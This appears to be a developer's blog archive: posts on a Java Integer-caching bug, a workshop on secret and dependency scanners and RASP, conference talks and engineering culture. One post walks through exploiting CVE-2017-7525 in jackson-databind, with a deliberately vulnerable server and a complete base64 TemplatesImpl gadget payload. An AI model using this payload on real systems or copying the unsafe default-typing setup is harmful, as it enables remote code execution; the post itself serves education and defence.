In Java, is 2019 equals to 2019? Not always!

So, an interesting thing happened today and I wanted to let you know about it. I had an old piece of code that was comparing two integer values, expressed in strings. We used it in evaluating semantic versions, so to compare major/minor/patch values in a component version at Meterian. It never had problems, always worked like a champ, and it’s something like this:

if (Integer.valueOf(elem1) != Integer.valueOf(elem2)) {
    ... // something something
}

And I also had a weird bug opened from one of my customers telling me that the version comparisons were not working correctly for certain .NET packages, like this one, where versions are something like this:

nuget1

That piece of code have been working for more that 4 years! What’s going on here? Wait… valueOf? I had my strong suspicion, but I wrote a simple snippet to prove it:

public static void main(String[] args) {

   String[] values = {"9", "99", "127", "128", "2019"};
   for (String value: values) {
       boolean equal = (Integer.valueOf(value) == Integer.valueOf(value));
       System.out.printf("Is %s equal to itself? %s %n", value, equal ? "YES" : "NO?");
    }
}

And this is the output to enjoy!

Is 9 equal to itself? YES
Is 99 equal to itself? YES
Is 127 equal to itself? YES
Is 128 equal to itself? NO?
Is 2019 equal to itself? NO?

Ah! So what’s going on here? Well, as some of you suspected, the method valueOf() of Integer returns not a primitive int but an Integer object. Like all objects, it’s potentially different for any other one if you use the operator “==” but that method is also a factory, that apparently caches (on my JVM) the numbers from 0 to 127! So those numbers are effectively represented by the same object instances and that’s the reason that code works, usually. We just needed a .NET guy who uses in a semantic version the number 2019 (a year) as the major version 🙂

The obvious fix for this bug is to use Integer::parseInt that instead returns a primitive int value:

if (Integer.parseInt(elem1) != Integer.parseInt(elem2)) {
    ... // something something something
}

But bey, this was a story worth blogging about! Happy coding everybody!

Geecon19

Hi all, this is just a placeholder for my recent presentation at Geecon 2019. This is an upgraded version of the previous speech at IMWorld/Bucharest.

Please check my previous blog post to access the full descriptions of the demonstration. Enjoy!

IMWorld Bucharest

I’ve just had the great pleasure to present again in Bucharest at this year IMWorld an introduction of security tools. We had some WiFi issues, so I had to change slightly the workshop contents, but the audience was very sympathetic and overall we were all pleased with the results!

As the slides are covering only the introduction to the topic, I will now detail here the workshop contents so that you can reply what we did live!

SAST/SIS TOOLS

SIS tools (Sensitive Information Scanners) are used to examine your codebase for the presence of information that should not be disclosed, like AWS or PGP keys.

 

git-leaks

Let’s start having a look at git-leaks. You can download the binary from here, unpack it and check it works with the command:

gitleaks-linux-amd64 –help

As you can see there’re a lot of options, with the ability to run it against an entire organization for example, but you can now run the command against a sample repository:

gitleaks-linux-amd64 –repo=https://github.com/gitleakstest/gronit

As you can see it is reporting problems: launch it again with –verbose, few problems pop up (what about those AWS keys???), you can also add  –report=report.csv –csv to generate a csv report.

Now, why don’t you look at one of your OWN repositories? You could be surprised! Or try this one:

gitleaks-linux-amd64 –repo=https://github.com/dxa4481/truffleHog.git –verbose

 

trufflehog

trufflehog is a python tool, so extremely easy to install if you are on Linux! Just type:

sudo pip install trufflehog

You can check it works with:

trufflehog –help

There’s a lot you can do here: you can have tghe output in HSON, you can define extra rules, and so on. It deserves a bit of experimenting! But for the time being, please rtun on the first repository:

trufflehog –regex https://github.com/gitleakstest/gronit

Again, we can see the AWS keys popping up (ops!). Now, try one of your repos, or maybe this one:

trufflehog –regex –entropy=False https://github.com/dxa4481/truffleHog.git

 

Others

Due to the slightly more complicated installation, we won’t have a look at these ones, but I suggest you check them out as well:

  • gitrob: very comprehensive analysis
  • git-secrets: a git hook provided directly by AWS

 

SAST/SDA TOOLS

SDA tools (Sensitive Dependency Analysis), also known as SCAN (Software Composition ANalysis) are used to examine the software component you use in order to check if any of them is affected by known vulnerabilities. Here I will gently shamelessly plug the tool my startup is building, Meterian, and I hope you do not mind 🙂

 

meterian

Download the latest client from the website and run it against a sample project (you can use this one we used in the previous blog post):

cd /your/project/folder
java -jar /path/to/meterian-cli.jar

You will probably be asked to authenticate, just use your GitHub or google account to do so. You will see some scores (the security one will be, well, very low!) and a report will be generated: just click on the link to access it (again, same social login). If you used my example, jackson-databind 2.8.8 is definitely a winner! It’s potentially exposing your project to at least four different exploits… nice!

You can also see a list of possible upgrades for your libraries and (if the feature is

enabled for your account) also the full list of components and the related versions.

 

dependency-check

Download the client from the website, following the link from Github, in a folder, and run it against the same project used before:

cd /your/project/folder
dependency-check/bin/dependency-check.sh –project sample –scan .

The long NVD database download may happen, it will take a while! Well, just have a coffee or something, then come back in 10 minutes and then find an HTML report in the folder:

dependency-check-report.html

Just open the report with a browser, you will see a list of the offending libraries.

SAST/SCA TOOLS

SCA tools (Software Code Analysis), are used to examine the code you write, either in binary or source format.

 

spotbugs

Download and unpack the tool, then set the SPOTBUGS_HOME variable:

export SPOTBUGS_HOME=/path/to/spotbugs-3.1.3

Spotbus has a UI (of course it works also from the command line): launch the UI and do a quick demo:

java -jar $SPOTBUGS_HOME/lib/spotbugs.jar

Get some code on your laptop (I suggest the fastjson project, it has a wide attack surface): create a new project, select the binary output of the project (you may need to run mvn package on the project to get it) and select also the source code. Click the button and then dig into the problems: you have a lot to get through!

Spotbugs has a nice plugin, findecbugs, that specifically finds security problems: once you downloaded the plugin, copy the jar file in the plugin folder of spotbugs:

cp findsecbugs-plugin-1.8.0.jar $SPOTBUGS_HOME/plugin/

Open spotbugs again, re-run the analysis and enjoy a tour of the newly “security” section!

PMD

Download and unpack the tool, run the tool against the sample project from the newly created folder:

bin/run.sh pmd -f text -d /path/to/project -R rulesets/java/quickstart.xml

There’re a number of rules here, enjoy some time in investigating them!

Errorprone

This can only be used as a plugin tool but it’s pretty effective!  Clone the repository:

git clone git@github.com:google/error-prone.git

Or just download the zip:

wget https://github.com/google/error-prone/archive/master.zip && unzip master.zip

Move to /examples, change the pom.xml so that it references 3.2.1 of errorprone and:

mvn clean package

Notice that the system stops with an error (the exception not thrown) plus the suggestion: fix the errors one by one, see the compilation passing :).

RASP TOOLS

This is the last category of tools we see today, and it’s quite an interesting one. RASP tools basically will melt with your code, deploying an agent within it (typically using code instrumentation) and they will actively track any malicious activity: when that happens, the tool will take some preventive measures (i.e. stop the user session) and report the issue back to your company risk assessment system.

OpenRASP

This is an open source tool by Baidu, that shows an interesting take on the probkem.

Download and install a fresh Tomcat from here, unpack and start Tomcat the usual way:

cd apache-tomcat-8.5.6/
bin/catalina.sh run

Access http://127.0.0.1:8080 and see Tomcat working!

Clone the test cases from here, move into the subfolder java/vulns and create the war package:

mvn package

Copy the newly created package under the /webapps subfolder of Tomcat: the server will promptly hot-deploy the application.

cp openrasp-testcases/java/vulns/target/vulns.war apache-tomcat-8.5.6/webapps/

Visit http://127.0.0.1:8080/vulns to see the application page (you may need google translate at this point to get a bit of English!) and try the exploit 002 and 004.2: see how is easy to bypass security and executing commands on the server.

Now, download the 0.31 Java openRASP from here, unpack and install it on Tomcat:

java -jar RaspInstall.jar -install  /path/to/apache-tomcat-8.5.6

Now, restart tomcat, you will see the OpenRASP logo in the console. Start tailing the openRASP log:

tail -f /path/to/apache-tomcat-8.5.6/rasp/logs/alarm/alarm.log

Try again to execute the vulnerabilities and… surprise!

  1. you are blocked with a fancy page 🙂
  2. the logs show the intrusion with complete detail

Hope you enjoy it!

 

Are you using an opensource library? There’s a good chance you are vulnerable…

This is the talk I presented yesterday at Codemotion Rome 2018! Awesome conference and people, cannot wait for the next one!

You can find a detailed technical explanation in my previous blog post, and you can also have access to the code on GitHub to reproduce the exploit yourself.

Do not underestimate your problem, and put the correct procedure in place: you do not want to be the next Equifax.

 

Remotely execute Java code using JSON

Abstract.

How difficult is to exploit a vulnerability in a common Java library in order to remotely execute Java code on a remote server and successfully taking control over it? Not much, really. In this article, we will demonstrate how to do that using CVE- 2017-7525, a well-known vulnerability in jackson-databind, a widely used library to serialize and deserialize JSON, also part of the spring-boot stack.

The sample code.

As we all know, the task of serializing and deserializing JSON messages is a very common task, especially in modern microservices REST-based applications: almost every time an API is called, a JSON message is sent to the server, to be transformed in a Java object. Because of a stream of deserialization vulnerabilities in jackson-databind it’s now possible to write simple exploits in order to get access to unpatched servers when polymorphic type handling is enabled.

In order to clearly explain the concepts, we are introducing here a simple server that handles products with two REST APIs, one to get the list of the products and one to add a new product  (all the code is available on GitHub). Please note that this is just a sample: we just want to provide you with a simple and understandable piece of code, and by no means it can be classified (we hope!) as production code.

A sample of our Product class, it holds some  basic product information:

public class Product {

    private int id;
    private String name;
    private String description;
    private Object data; 

    protected Product() {
    }

    [...]

Our ProductDatabase class, just a glorified HashMap

public class ProductsDatabase {

  private Map<String, Product> products = new HashMap<>();
  private AtomicInteger idGenerator = new AtomicInteger(0);

  public ProductsDatabase() {
     add(new Product(0,"apple", "Real apple from Italy", randomData()));
     add(new Product(0,"orange", "Real orange from Italy", randomData()));
     add(new Product(0,"kiwi", "Real kiwi from Italy", randomData()));
  }

  public Collection list() {
    return Collections.unmodifiableCollection(products.values());
  }

  public Product add(Product newProduct) {
    Integer newId = idGenerator.incrementAndGet();
    Product product = newProduct.duplicate(newId);
    products.put(newId.toString(), product);
    return product;
  }

  [...]
}

Our simple server, written with SparkJava:

public class Main {
 
  private static ProductsDatabase products = new ProductsDatabase();
  private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping();
  private static ObjectMapper serializer = new ObjectMapper();
 
  public static void main(String[] args) {

    port(8888);

    // GET list all products
    get("/products", (request, response) -> {
      Collection res = products.list();
      return serializer.writeValueAsString(res);
    });

    // POST add new product
    post("/products", (request, response) -> {
      Product received = deserializer.readValue(request.body(), Product.class);
      products.add(received);
      response.status(201);
    });
  }
  [...]
}

You can add a product to the database with a simple curl call with a JSON body containing the new product data:

curl -i -X POST -d '{"name":"melon","description":"Real melon from Italy", "data":["java.util.HashMap",{"cost":2,"color":"yellow"}]}' http://localhost:8888/products

The exploit.

In order to exploit the vulnerability, we need to have a vector. On this occasion we decided to use Apache Xalan, a common XSLT library also included in the JDK (which, until version 8u45, is possible to use as the vector, in the same way Xalan is used here). Please note that there are a lot of other options available as attack vectors, but for the sake of simplicity, we will focus here on a very specific one.

We will use a particular class from Xalan which is capable to deserialize an encoded class file from an XML, and dynamically create an instance of such class: we will craft a JSON message that will contain the encoded class of our exploit class here:

public class Exploit extends org.apache.xalan.xsltc.runtime.AbstractTranslet {

  public Exploit() throws Exception {
    System.err.println("Your server has been compromised!");
  }

  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  }
}

We just need to compile this source code in a .class file, encoded it in Base64 and prepare our evil JSON message:

{
  "name": "fakeapple",
  "description": "Fake fruit from UK",
  "data": ["org.apache.xalan.xsltc.trax.TemplatesImpl",
  {
    "transletBytecodes" : [ "yv66vgAAADQALgcAAgEAB0V4cGxvaXQHAAQBAC9vcmcvYXBhY2hlL3hhbGFuL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYJAA4AEAcADwEAEGphdmEvbGFuZy9TeXN0ZW0MABEAEgEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwgAFAEAIVlvdXIgc2VydmVyIGhhcyBiZWVuIGNvbXByb21pc2VkIQoAFgAYBwAXAQATamF2YS9pby9QcmludFN0cmVhbQwAGQAaAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMRXhwbG9pdDsBAAl0cmFuc2Zvcm0BAFAoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO1tMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIgEAKG9yZy9hcGFjaGUveGFsYW4veHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEAHExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAMVtMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBACRMb3JnL2FwYWNoZS94bWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQAwTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQAhAAEAAwAAAAAAAwABAAUABgACAAcAAAAEAAEACAAKAAAAOwACAAEAAAANKrcAC7IADRITtgAVsQAAAAIAGwAAAAoAAgAAAAgABAAJABwAAAAMAAEAAAANAB0AHgAAAAEAHwAgAAIABwAAAAQAAQAhAAoAAAA/AAAAAwAAAAGxAAAAAgAbAAAABgABAAAADQAcAAAAIAADAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACUAJgACAAEAHwAnAAIABwAAAAQAAQAhAAoAAABJAAAABAAAAAGxAAAAAgAbAAAABgABAAAAEgAcAAAAKgAEAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACgAKQACAAAAAQAqACsAAwABACwAAAACAC0=" ],
    "transletName": "oops!",
    "outputProperties": {}
   }
 }

After sending the message to the server as a normal “add product” request, the encoded class will be instantiated by the Xalan TemplatesImpl class in order for it to populate the value of the outputProperties field: as the constructor code is executed, the evil code is executed as well and the server compromised. Yes, you might have exceptions in the server, but it’s too late.

Conclusions.

This is just an example of hundreds of exploits currently possible using public vulnerabilities on various open source libraries and for that reason, it’s extremely important that you add to your build pipeline a scanner capable to detect and block the build if such situation is detected. We would kindly invite you to use our simple command line client available at meterian.io and avoid future nasty surprises. You do not want to be the next Equifax.

You can reach me at meterian.io!

`Disclaimer: please note that all these information are publicly available on the internet. This is just a summary post from a cybersecurity practitioner and nothing else. The code provided is for research purposes only.
Creative Commons Licence
This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.

Distributed System Explained recording (in English) is available!

Thanks to the hard work of the Geecon team, the recording of my speech about Distributed Programming is now available on YouTube!

The code is on GitHub as usual, and remember this is NOT production code 🙂

I have now run this speech in four conferences/countries  (Italy, Israel, Poland, Czech Republic) and every time is a success, but I think now it’s time to move on to something else 🙂 There will be another recording from the amazing Geecon Prague conference (I will update this post) that might be slightly better due to me moving less eheh!

To be honest, I would like to run this speech in my new home country, the UK (well, at least until I will be kicked out due to Brexit) but I had no success in any CFP, so if anybody wants to give me a shot I will be up for the challenge!

CAP Theorem@Codemotion 2016, Milan

I just come back from Codemotion Milan, and it was great! Apparently a lot of people liked my presentation, someone told me that they really understood, for the first time, the CAP theorem. Which is absolutely great!

Thanks for everybody who attended, you were a fantastic bunch and I feel absolutely grateful and privileged for being there!

I am looking forward to the next tech meeting or conference!

Ah, the code is on GitHub but please keep in mind that this is basically the result of a four days spike, so it’s not particularly good. But I promise I will refactor it 🙂

The recording (in Italian) is available on youtube thanks to Codemotion.

 

My PM wants to take a shortcut. How do I explain my engineering point of view?

In this post we describe a situation between me, the head of engineering, and a PM (Don)  that wants to push a (not very good) solution to one of the engineering team. The engineers are pushing back, and Don does not understand why. Everybody is in good faith, but they do not understand each other…

Dear Don….

Let me try to explain the issue here from my point of view. This is a classic problem in software engineering, and it happens all the time: however, if you want to understand it you will have to take a bit of time, at least as much I invested to write this, so please sit down, relax, and enjoy the ride!

abstraction consists in capturing those portions of reality that are significant for your problem

One of the core concepts of software engineering is abstraction, which consists in capturing those portions of reality that are significant for your problem: software systems tries to represent reality, but its complexity can be overwhelming. Imagine that you want to model a car: how would you do that? Would you represent it with four wheels, four doors, a bonnet? Or would you consider its speed on the road, its position on the territory? What about the current angle of the steering wheel? The number of revs of the engine? I could go on forever. The fact is that you have to capture a portion of it, the parts that make sense for your problem. So, if you plan to manage a factory that build cars, then the structural abstraction (wheels, bonnet, doors) is a good one, while if you are building a navigation system you will be mostly interested in its position, speed and similar.

models are implementations of abstraction in the software realm

Once you have defined the overall abstraction that you want to use, then you end up defining your models, which basically are implementations of the abstraction in the software realm, defining structure and behavior based on our requirements. In an Object Oriented approach those are usually represented (unsurprisingly) by objects, which may have (on some typed languages) also a generalization, which is basically a blueprint to create objects (usually called “class”, but that’s not really important). They may also have some form of persistent representation, which can be stored in a relational database (like MySql) in the form of records on tables, or  as a document on a nosql database (like Mongo). They also have a tight relation to the user experience, which should be built around such models and should match the mental model that we (and our users) will instinctively adopt and use.

on every change the models must be improved to accommodate future changes

I hope it’s clear now why models are so important, and how pervasive they are: basically they are the foundation of our software, get them wrong or screw them, and you will have very big problems. For that reason maintaining and evolving these models correctly is extremely important, and the trick is to make sure that at every change we make, the models are improved so that’s easier to accommodate changes in the future.

your change does not evolve the model, it violates the underlying abstraction, and makes it harder to change

Now, the change that you are suggesting consists in picking a portion of that model and changing it violating the underlying abstraction: you are basically proposing to screw it. You are not evolving it, you are not making it  easier to change in the future, you are just patching it. And when you continuously make changes like these then you end up with a pile of crap that you won’t be able to change at all. Sounds familiar?

do not offer solutions, state the problem

For that reason the engineers are resisting this action. So, do not offer solutions: state the problem, and trust your team to come back to the right solution! And if it’s not right.. well, failure should be part of the process. Like Lynda Resnick once said, “you will learn more from your failures than your successes“.

You shoud attend a conference. No, better, be a speaker!

I just come back from Codemotion Amsterdam and it’s been a fantastic experience! I met a lot of smart guys, I’ve been infected with a lot of new ideas, and I honestly cannot wait to come back to work to share this fun! It’s incredible the amount of knowledge you can pack in two days, the inspiration that you can get, if only you try!

But I was also a speaker there, and I thoroughly enjoyed the fact I was able, myself, to influence people. And a very good breed of people, the ones who actually go to a conference! Some of them took some days off to attend, gave up a couple of days on the beach in the sun to attend a conference and, among other, see me 🙂 How cool is that? These are the people you want to have, as engineers, in your company! People who actually care, who are willing to do sacrifices to learn and to improve themselves!

How many of them do you have in your company? You should do something about that, you should try to get the best people around, and make sure they stick with you big time! So, now, go, check, NOW! How many people do you have in your company that have this (brave, sane and good) attitude?

And what about speakers? That’s the next step! How many people, in your company, decided to be a speaker at a conference? And to risk public humiliation, the fear of the demo going wrong, the nights spent preparing slides, the endless rehearsals… for what? Speakers usually do not get paid. Sometimes they get refunded some costs, sometimes not. And yet… they do it! Because… because we can! I remember my first European conference, Javapolis 2006 (now known as Devoxx) where I talked about Selenium and FitNesse… I was scared, I was unsure, I felt very unsafe, but I did it, and it went well! And if somebody like me, at the time, did it, YOU can do it! Start small, an internal meeting, then meetup or a local user group, then a small national conference, then a bigger one, then a European one… YOU CAN! And it’s awesome!

Now, I am an old fart, and even if I’ve been speaking at many conferences during my career  I am almost out of the game (hey, I said almost!) and the best thing I can do is to breed the new generations to come 🙂 And heck, I will make a point, I will make sure my developers will be speakers, so that this beautiful cycle will continue.

I will have speakers in my company, promise!

 

 

 

 

 

Codemotion 2016, Amsterdam!

I am so glad I am here! The venue is amazing and the people are awesome!

amsterdam-2016-meta

I just finished my talk about Microservices and NodeJS. As usual I had to cut short, not enough time to go trough even half of the slides, so I concentrated on the code 🙂 You can find the last version of the slides on slideshare.

All the code is on Github and you can see from the commits the amount of time it took, basically less than an afternoon starting from zero knowledge of NodeJS (okay, a part from a couple of bugs I had to fix for the conference!). So please try it yourself!